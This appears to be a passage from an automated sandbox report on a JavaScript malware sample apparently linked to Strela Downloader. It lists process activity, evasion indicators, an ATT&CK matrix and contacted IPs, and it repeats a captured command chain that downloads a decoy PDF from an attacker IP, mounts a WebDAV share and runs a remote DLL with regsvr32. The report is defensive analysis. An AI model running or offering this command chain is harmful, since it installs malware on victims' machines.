Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4362			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5331			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 4362 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 5331 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7996	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2064	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000A.00000002.2613932585.000001EFCDC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000008.00000002.1370600684.0000024523771000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2615252765.000001EFD325B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000008.00000002.1370600684.0000024523708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0bw#E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\139233235618343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5545194012153110815.js	5%	Virustotal		Browse
5545194012153110815.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/7	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000002.1323966268.00000283B267B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1377491671.000001EFD3080000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2615143454.000001EFD3200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/7	net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000008.00000002.1370600684.0000024523708000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/3	net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/?	net.exe, 00000008.00000002.1370600684.0000024523739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588276
Start date and time:	2025-01-10 23:22:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5545194012153110815.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 50.16.47.176, 34.237.241.83, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.209.209.135, 23.40.179.62, 23.40.179.68, 23.40.179.63, 23.40.179.66, 23.40.179.51, 23.40.179.64, 23.40.179.56, 23.40.179.48, 23.40.179.45, 192.168.2.7, 13.107.246.45, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:23:48	API Interceptor	21x Sleep call for process: powershell.exe modified
17:23:51	API Interceptor	1x Sleep call for process: net.exe modified
17:23:52	API Interceptor	2x Sleep call for process: svchost.exe modified
18:43:02	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
